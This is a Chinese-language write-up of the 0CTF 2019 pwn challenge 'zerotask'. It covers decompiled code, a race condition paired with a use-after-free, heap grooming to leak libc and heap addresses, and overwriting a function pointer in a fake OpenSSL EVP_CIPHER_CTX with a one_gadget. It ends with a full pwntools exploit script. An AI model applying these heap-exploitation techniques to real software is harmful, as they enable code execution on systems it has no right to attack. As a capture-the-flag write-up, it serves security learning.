美文网首页CTF-PWN
0CTF-2019 zerotask

0CTF-2019 zerotask

作者: Nevv | 来源:发表于2019-04-02 14:53 被阅读0次

zerotask

​ 拿到题目首先运行下,IDA打开分析main函数,可以看到有创建进程和删除进程的操作,一般来说就是条件竞争了,这个题目大概的功能就是创建一个加解密的结构体,然后对文本进行加解密。

nevv@ubuntu:~/Desktop$ checksec task_52f1358baddfd3d4026da4d8c0735e52 
[*] '/home/nevv/Desktop/task_52f1358baddfd3d4026da4d8c0735e52'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

main函数

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // eax
  unsigned int v4; // [rsp+18h] [rbp-8h]

  v4 = 0;
  pre_handle();
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        menu();
        v3 = get_choice();
        if ( v3 != 2 )
          break;
        delete();
      }
      if ( v3 == 3 )
        break;
      if ( v3 != 1 )
      {
        puts("bye");
        exit(1);
      }
      create();
    }
    if ( v4 > 2 )
    {
      puts("bye");
      exit(1);
    }
    action();
    ++v4;
  }
}

create函数

void *sub_1354()
{
  void *result; // rax
  int en_or_de; // [rsp+0h] [rbp-10h]
  int v2; // [rsp+4h] [rbp-Ch]
  void *key_struct; // [rsp+8h] [rbp-8h]

  printf("Task id : ", 0LL);
  v2 = get_choice();
  printf("Encrypt(1) / Decrypt(2): ");
  en_or_de = get_choice();
  if ( en_or_de != 1 && en_or_de != 2 )
    return (void *)0xFFFFFFFFLL;
  key_struct = malloc(0x70uLL);
  memset(key_struct, 0, 0x70uLL);
  if ( !(unsigned int)sub_11A8(en_or_de, (__int64)key_struct) )
    return (void *)0xFFFFFFFFLL;
  *((_DWORD *)key_struct + 24) = v2;
  *((_QWORD *)key_struct + 13) = qword_202028;
  result = key_struct;
  qword_202028 = (__int64)key_struct;
  return result;
}

signed __int64 __fastcall sub_11A8(int en_or_de, __int64 key_struct)
{
  __int64 v3; // rsi
  __int64 v4; // [rsp+0h] [rbp-30h]
  __int64 v5; // [rsp+14h] [rbp-1Ch]

  printf("Key : ", key_struct);
  sub_F82(v4 + 0x14, 32);    // key 
  printf("IV : ", 32LL);
  sub_F82(v4 + 0x34, 16);    // iv
  printf("Data Size : ", 16LL);    // data_size
  v5 = (unsigned int)get_choice();
  if ( (signed int)v5 <= 0 || (signed int)v5 > 4096 )
    return 0LL;
  *(_QWORD *)(v4 + 8) = (signed int)v5;   // v5 store data size --> v4+8
  *(_QWORD *)(v4 + 88) = EVP_CIPHER_CTX_new();
  if ( en_or_de == 1 )
  {
    v3 = EVP_aes_256_cbc();
    EVP_EncryptInit_ex(*(_QWORD *)(v4 + 88), v3, 0LL, v4 + 20, v4 + 52);
  }
  else
  {
    if ( en_or_de != 2 )
      return 0LL;
    v3 = EVP_aes_256_cbc();
    EVP_DecryptInit_ex(*(_QWORD *)(v4 + 88), v3, 0LL, v4 + 20, v4 + 52);
  }
  *(_DWORD *)(v4 + 16) = en_or_de;
  *(_QWORD *)v4 = malloc(*(_QWORD *)(v4 + 8));
  if ( !*(_QWORD *)v4 )
    exit(1);
  printf("Data : ", v3);
  sub_F82(*(_QWORD *)v4, *(_QWORD *)(v4 + 8));
  return 1LL;
}

根据以上操作我们可以推断出结构体,限制了data的大小大于0小于4096:

struct key_struct{
    + 0 data;
    + 8  data_size;
    + 13 qword_202028;
    + 16 en_or_de;
    + 20 key;
    + 24 task_id;
    + 52 IV;
    + 88 EVP_CIPHER_CTX_new;
    + 104 next_struct;
}

根据分析,在创建的时候程序总计创建了4个堆块(按照如下的创建顺序):

  • key_struct 0x80
  • EVP_CIPHER_CTX 0xb0
  • EVP_CIPHER_CTX 创建的EVP_RC4_KEY对(256bit)象。0x110
  • data_size分配的堆块 小于4096

delete函数

void delete()
{
  int v0; // [rsp+Ch] [rbp-14h]
  void **ptr; // [rsp+10h] [rbp-10h]
  _int64 v2; // [rsp+18h] [rbp-8h]

  ptr = (void **)qword_202028;
  v2 = qword_202028;
  printf("Task id : ");
  v0 = get_choice();
  if ( qword_202028 && v0 == *(_DWORD *)(qword_202028 + 96) )
  {
    qword_202028 = *(_QWORD *)(qword_202028 + 104);
    EVP_CIPHER_CTX_free(ptr[11]);
    free(*ptr);
    free(ptr);   // 没有置为null,存在明显的uaf漏洞
  }
  else
  {
    while ( ptr )
    {
      if ( v0 == *((_DWORD *)ptr + 24) )
      {
        *(_QWORD *)(v2 + 104) = ptr[13];
        EVP_CIPHER_CTX_free(ptr[11]);
        free(*ptr);
        free(ptr);
        return;
      }
      v2 = (__int64)ptr;
      ptr = (void **)ptr[13];
    }
  }
}

action函数

unsigned __int64 sub_165A()
{
  int v1; // [rsp+4h] [rbp-1Ch]
  pthread_t newthread; // [rsp+8h] [rbp-18h]
  void *arg; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  printf("Task id : ");
  v1 = get_choice();
  for ( arg = (void *)qword_202028; arg; arg = (void *)*((_QWORD *)arg + 13) )
  {
    if ( v1 == *((_DWORD *)arg + 24) )
    {
      pthread_create(&newthread, 0LL, start_routine, arg);
      return __readfsqword(0x28u) ^ v4;
    }
  }
  return __readfsqword(0x28u) ^ v4;
}

void __fastcall __noreturn start_routine(void *a1)
{
  int v1; // [rsp+14h] [rbp-2Ch]
  __int128 v2; // [rsp+18h] [rbp-28h]
  __int64 v3; // [rsp+28h] [rbp-18h]
  __int64 v4; // [rsp+30h] [rbp-10h]
  unsigned __int64 v5; // [rsp+38h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  v2 = (unsigned __int64)a1;
  v1 = 0;
  v3 = 0LL;
  v4 = 0LL;
  puts("Prepare...");
  sleep(2u);      // ---------  这个slepp()函数的使用可能导致条件竞争漏洞 ----------
  memset(qword_202030, 0, 0x1010uLL);
  if ( !(unsigned int)EVP_CipherUpdate(
                        *(_QWORD *)(v2 + 88), //EVP_CIPHER_CTX_new
                        qword_202030,
                        &v1,
                        *(_QWORD *)v2,  // data
                        (unsigned int)*(_QWORD *)(v2 + 8)) )  // data_size
    pthread_exit(0LL);
  *((_QWORD *)&v2 + 1) += v1;
  if ( !(unsigned int)EVP_CipherFinal_ex(*(_QWORD *)(v2 + 88), (char *)qword_202030 + *((_QWORD *)&v2 + 1), &v1) )
    pthread_exit(0LL);
  *((_QWORD *)&v2 + 1) += v1;
  puts("Ciphertext: ");
  sub_107B(stdout, qword_202030, *((_QWORD *)&v2 + 1), 16LL, 1LL);  // print ciphertext
  pthread_exit(0LL);
}

利用思路

0x1 泄漏地址

  • 首先比较明确的一点就是要利用 sleep 导致的条件竞争漏洞
  • 程序的功能本身是加密、解密、打印,并且密钥是我们可以指定的,那么考虑是不是可以泄漏出某些信息呢?

继续上面思路的思考:

  • 首先有删除功能,在我们选择一个特定的加密线程的时候,由于其data域正好是chunk的fd字段,那么在真正的进入加密操作的时候,我们把这个加密的结构体free掉,其fd会正好指向tcache中上一个空闲的堆块,这样加密的时候就会加密上一个空闲堆块的内容,这样的话就可以构造空闲堆块中即有堆地址也有libc基地址,那么这样的话就能够泄露出地址信息。

但是其中也会有一些我们需要解决的问题:

  • 在free的时候EVP_CIPHER_CTX也会被free掉,导致加密出错,如果重新创建任务的话会导致想要利用的结构体被重新malloc,这样的话其data也会被新的内存地址覆写,而不是之前我们预期的指向另外一个结构体。

综合以上

  • 我们需要在一次的打印中同时leak出libc和heap,需要构造一个 unsorted bin,另外在释放结构体的时候,必须让其EVP_CIPHER_CTX被重新分配出去新建一个EVP_CIPHER_CTX对象保证加密不出错

  • 首先创建4个结构释放,填充tcache

    for i in range(0,4):
        ad(str(i),'1','a'*32,'a'*16,'256','1'*256)
    

    释放后,此时结构为:

    tcache:
    0x80 *4
    0x110 *7
    0xb0 4-3-2-1
    unsortbin
    0x110
    

    这里结合dl的解题脚本看:

    go('20')
    de('20')
    
    de('21')
    de('22')
    

    释放后,此时结构为:

    tcache:
    0x80 22-21-20-0x80*4
    0x110 *7
    0xb0 22_21_20-4-3-2-1
    unsortbin
    0x110
    

    在内存空间上看大概是这个样子的

    | 20的上个结构体
    |
    | 20的上个结构体的data (unsorted bin 0x110大小)
    | 20的结构体 (进入0x80 的tcache后 其data指针域指向上个结构体)
    |
    | EVP_CIPHER_CTX 
    |
    | 21的结构体
    |
    |
    |
    | 22的结构体
    

    然后再进行分配:

    ad('21','1','a'*32,'a'*16,'160','1'*160)
    ad('22','1','a'*32,'a'*16,'8','1'*8)
    

    再次添加21的data的时候会把20的EVP_CIPHER_CTX分配出去,然后添加22的时候就会把原本存储20结构体的EVP_CIPHER_CTX域分配给22当作它的EVP_CIPHER_CTX域

0x2 劫持控制流

​ 此时我们已经的到了libc和heap的地址,考虑怎么劫持控制流,现在我们能够:

  • 根据条件竞争和UAF漏洞,我们可以伪造chunk进而构造假的EVP_CIPHER_CTX结构体

  • 程序的大体流程上基本无法劫持控制流

    因此可以具体去看下加解密函数EVP_EncryptUpdate,找一找EVP_CIPHER_CTX中有没有我们感兴趣的函数指针,这样的话直接在函数指针的位置直接写onegadget即可。

    Breakpoint * EVP_CipherUpdate
    pwndbg> x /100i 0x7f1118090690
    => 0x7f1118090690 <EVP_CipherUpdate>: mov    eax,DWORD PTR [rdi+0x10]
       0x7f1118090693 <EVP_CipherUpdate+3>:   test   eax,eax
       0x7f1118090695 <EVP_CipherUpdate+5>:   jne    0x7f11180906a0 <EVP_CipherUpdate+16>
       0x7f1118090697 <EVP_CipherUpdate+7>:   jmp    0x7f11180904e0 <EVP_DecryptUpdate>
       0x7f111809069c <EVP_CipherUpdate+12>:  nop    DWORD PTR [rax+0x0]
       0x7f11180906a0 <EVP_CipherUpdate+16>:  jmp    0x7f1118090180 <EVP_EncryptUpdate>
       0x7f11180906a5:    nop
       0x7f11180906a6:    nop    WORD PTR cs:[rax+rax*1+0x0]
       0x7f11180906b0 <EVP_DecryptFinal_ex>:  push   r14
       0x7f11180906b2 <EVP_DecryptFinal_ex+2>:    push   r13
       0x7f11180906b4 <EVP_DecryptFinal_ex+4>:    mov    r13,rsi
       0x7f11180906b7 <EVP_DecryptFinal_ex+7>:    push   r12
       0x7f11180906b9 <EVP_DecryptFinal_ex+9>:    push   rbp
       0x7f11180906ba <EVP_DecryptFinal_ex+10>:   mov    r12,rdx
       0x7f11180906bd <EVP_DecryptFinal_ex+13>:   push   rbx
       0x7f11180906be <EVP_DecryptFinal_ex+14>:   mov    rax,QWORD PTR [rdi]
       0x7f11180906c1 <EVP_DecryptFinal_ex+17>:   mov    rbx,rdi
       0x7f11180906c4 <EVP_DecryptFinal_ex+20>:   mov    DWORD PTR [rdx],0x0
       0x7f11180906ca <EVP_DecryptFinal_ex+26>:   test   BYTE PTR [rax+0x12],0x10
       0x7f11180906ce <EVP_DecryptFinal_ex+30>:   je     0x7f11180906f8 <EVP_DecryptFinal_ex+72>
       0x7f11180906d0 <EVP_DecryptFinal_ex+32>:   xor    ecx,ecx
       0x7f11180906d2 <EVP_DecryptFinal_ex+34>:   xor    edx,edx
       0x7f11180906d4 <EVP_DecryptFinal_ex+36>:   xor    ebp,ebp
       0x7f11180906d6 <EVP_DecryptFinal_ex+38>:   call   QWORD PTR [rax+0x20]
       0x7f11180906d9 <EVP_DecryptFinal_ex+41>:   test   eax,eax
       0x7f11180906db <EVP_DecryptFinal_ex+43>:   js     0x7f11180906e6 <EVP_DecryptFinal_ex+54>
       0x7f11180906dd <EVP_DecryptFinal_ex+45>:   mov    DWORD PTR [r12],eax
       0x7f11180906e1 <EVP_DecryptFinal_ex+49>:   mov    ebp,0x1
       0x7f11180906e6 <EVP_DecryptFinal_ex+54>:   pop    rbx
       0x7f11180906e7 <EVP_DecryptFinal_ex+55>:   mov    eax,ebp
       0x7f11180906e9 <EVP_DecryptFinal_ex+57>:   pop    rbp
    
    
    • 可以看到在对EVP_CipherUpdate函数调用的时候,在0x7f11180906d6 <EVP_DecryptFinal_ex+38>: call QWORD PTR [rax+0x20]这条指令,是吧EVP_CIPHER_CTX+0x20这个偏移位置当作函数指针去调用,这里注意还要过掉下边的检查:

      0x7f11180906ca <EVP_DecryptFinal_ex+26>:    test   BYTE PTR [rax+0x12],0x10
      
    • 这样我们只需要把这个地址为覆盖为one_gadget即可

exp:

​ 附上大佬的exp:

from pwn import *
import time
p=process('./task')
e=ELF('./libc-2.27.so')
#p=remote('111.186.63.201',10001)
p.readuntil('Choice:')
context(log_level='debug')


def ad(a,b,c,d,e,f):
    p.writeline('1')
    p.readuntil('Task id :')
    p.writeline(a)
    p.readuntil('Encrypt(1) / Decrypt(2):')
    p.writeline(b)
    p.readuntil('Key :')
    p.write(c)
    p.readuntil('IV :')
    p.write(d)
    p.readuntil('Data Size :')
    p.writeline(e)
    p.readuntil('Data')
    p.write(f)
    p.readuntil('Choice:')
def de(a):
    p.writeline('2')
    p.readuntil('Task id :')
    p.writeline(a)
    p.readuntil('Choice:')
def go(a):
    p.writeline('3')
    p.readuntil('Task id :')
    p.writeline(a)
    p.readuntil('Choice:')

for i in range(0,4):
    ad(str(i),'1','a'*32,'a'*16,'256','1'*256)


ad('20','1','a'*32,'a'*16,'592','1'*592)
ad('21','1','a'*32,'a'*16,'8','1'*8)
ad('22','1','a'*32,'a'*16,'8','1'*8)
ad('23','1','a'*32,'a'*16,'8','1'*8)
ad('24','1','a'*32,'a'*16,'8','1'*8)
for i in range(0,4):
    de(str(i))

go('20')
de('20')

de('21')
de('22')
ad('21','1','a'*32,'a'*16,'160','1'*160)
ad('22','1','a'*32,'a'*16,'8','1'*8)
p.readuntil('Ciphertext: n')

st=''

for i in range(0,38):
    q=0



    for ii in range(0,16):
            zzz=p.read(3)

            zz=chr(int(zzz[0:2],16))


            st+=zz
            if 'n'in zzz:
                q=1
                break
    if q==0:
        p.read(1)        



ad('66','2','a'*32,'a'*16,str(len(st)),st)
go('66')
p.readuntil('Ciphertext: n')

z=p.readuntil('20 ')
z=chr(0x20)
for i in range(0,7):
    z+=chr(int(p.read(3)[0:2],16))
heap=u64(z)-0x980+0x7b0+0x100-0x850+0x10a0
p.readuntil('11 01 ')
z=p.readuntil('na0 ')
z=chr(0xa0)
for i in range(0,7):
    z+=chr(int(p.read(3)[0:2],16))

libc=u64(z)-4111776
one=libc+0x10a38c
success(hex(libc))
success(hex(heap))


gdb.attach(p)

go('22')
de('22')
de('23')



ad('23','1','a'*32,'a'*16,'160',p64(heap)+'1'*120+p64(one)*4)

success(hex(heap))

success(hex(libc))

p.interactive()

​ 最后小结一下,本题的核心思想还是通过条件竞争对UAF漏洞的利用。

参考链接

相关文章

网友评论

    本文标题:0CTF-2019 zerotask

    本文链接:https://www.haomeiwen.com/subject/bfrgbqtx.html